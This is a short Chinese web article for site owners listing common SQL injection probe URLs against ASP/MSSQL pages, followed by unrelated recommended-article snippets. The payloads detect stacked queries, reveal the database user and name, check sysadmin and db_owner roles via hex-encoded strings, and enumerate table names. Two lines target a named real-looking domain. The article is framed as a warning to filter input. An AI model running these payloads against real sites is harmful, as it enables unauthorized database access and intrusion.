站长注意SQL 注入一些常用语句
作者：aivii 来源：csdn 发布时间：2007-10-24 23:23:00
内容摘要：本文列出了SQL 注入一些常用语句，站长朋友请注意了，看看您的网站程序是否存在这样的漏洞，一般过滤post或get过滤的不安全字符就可以了。
是否支持多句查询
http://www.xxx.com/shownews.asp?id=51 declare @a int--
是否支持子查询
http://www.xxx.com/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0
返回用户名
http://www.xxx.com/shownews.asp?id=51 And user％2Bchar(124)=0
当前用户是否为 sysadmin 固定服务器角色的成员。
http://www.xxx.com/shownews.asp?id=51 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))％2Bchar(124)=1
PS:0x730079007300610064006D0069006E00 = sysadmin
当前用户是否为 db_owner 固定数据库角色的成员
http://www.xxx.com/shownews.asp?id=51 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))％2Bchar(124)=1
0x640062005F006F0077006E0065007200 = db_owner
返回数据库名
http://www.xxx.com/shownews.asp?id=51 And db_name()％2Bchar(124)=0
操作系统和SQLserver版本
http://www.99568.com/shownews.asp?id=51 And @@version = 1
本地服务器名称
http://www.99568.com/shownews.asp?id=51 And @@SERVERNAME = 1
http://www.xxx.com.cn/Content.asp?NewsID=1077 And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名
0
投稿猜你喜欢
首先下载JDK.这里使用的是jdk-8u181-linux-x64.tar.gz下载Tomcat.这里使用的是apache-tomcat-8- 10月12日消息，据国外媒体报道，互联网用户管理机构ViziSense最新数据显示，谷歌Gmail已经超越雅虎，成为印度最受欢迎的电子邮件服
- 1、独立的标题尽量为每个页面写上独立的标题，特别是一些产品页栏目页等，标题是SEO中很重要的一部分，不要轻易浪费掉这块宝地。好的标题不仅对搜
- 经常有网友向水煮鱼表示希望学习搜索引擎优化 SEO 的知识，询问搜索引擎优化 SEO 的书籍哪本最好，水煮鱼一般向他们推荐 Zac 的《网络
- 前不久，在研究SEO时发现一个好东东Dmoz(The Open Directory Project/ODP)，是一个人工编辑管理的目录集合，
- 今天闲来无事，继而顺手截图做一些IIS7的安装图文教程，以及fastcgi模式下配置PHP，现在网上很多IIS7下配置PHP的教程还停顿在I
- 本篇让你首先了解如下基本概念。什么是IP地址? IP地址是在网络上分配给每台计算机或网络设备的32位数字标识。在Int
- 快速提升网站排名、流量献给站长们。一些旧的技巧仍然适用(比如，每天写出新内容)，但一些已经不再适用(向搜索引擎提交已经不是必要步骤)，我们这
- 在一个网络高速发展的时代，在一个具有人口之最的国家，互联网的普及将会越来越全面!中国因为具有很多有利因素促成个人网站的发展，以下就是我的一些
- 对于Accessible search，网站管理员们最经常问的一个问题就是：我怎样才能提高我的网站在Accessible Search上的排
- 从10月7号开始到10月15日止，已经有8天了，网络上关于uucall断网事件的真相之争从来就没有停息过。根据专业人士的判断以及网友们的各种
- 一。域名管理面板1。在Godaddy账户中点击Domain manage进入域名管理2。域名管理界面如下面两个图片所示，左侧是管理选项，右侧
- Dedecms版本V5.7正式版，其中Dedecms和Ucenter都是UTF8编码。安装过程提示：“uc服务端编码与DedeCMS编码不一
- linux下的C\C++多进程多线程编程实例详解1、多进程编程#include <stdlib.h> #include <
- 阿卡人SEO：多次经验教您脱离百度沙盒今年第一次尝试被百度列入沙盒子的感觉，还好自己没有灰心坚持自己辛苦经营的站。在很短的时间脱离了沙盒。后
- 这个题目有点儿大，而我写的常常很小(内容)。那就随便谈谈吧。优化不能只针对搜索引擎，只针对排名。而应该更多的面向用户。比如把网站loadin
- vps服务器裸奔在公网上，总感觉有点不安全，没办法总得整点措施来加固下服务器呀，安全第一。linux系统自带防火墙必须要好好利用起来，可是我
- 北京时间11月14日上午消息，据国外媒体今日报道，美国社交网站Ning已经搬迁到了Facebook原先的办公场所—&am
- 百度是全球最大的中文搜索引擎,对中文网页的搜索技术在某种程度上领先于Google,百度在某些方面与Google有相同或相似之处外它还有以下特
- 前言：本文将以 Ubuntu Server 22.04 LTS 为例，说明在 VMware 虚拟机中的安装和配置 Linux 操作系统的步骤
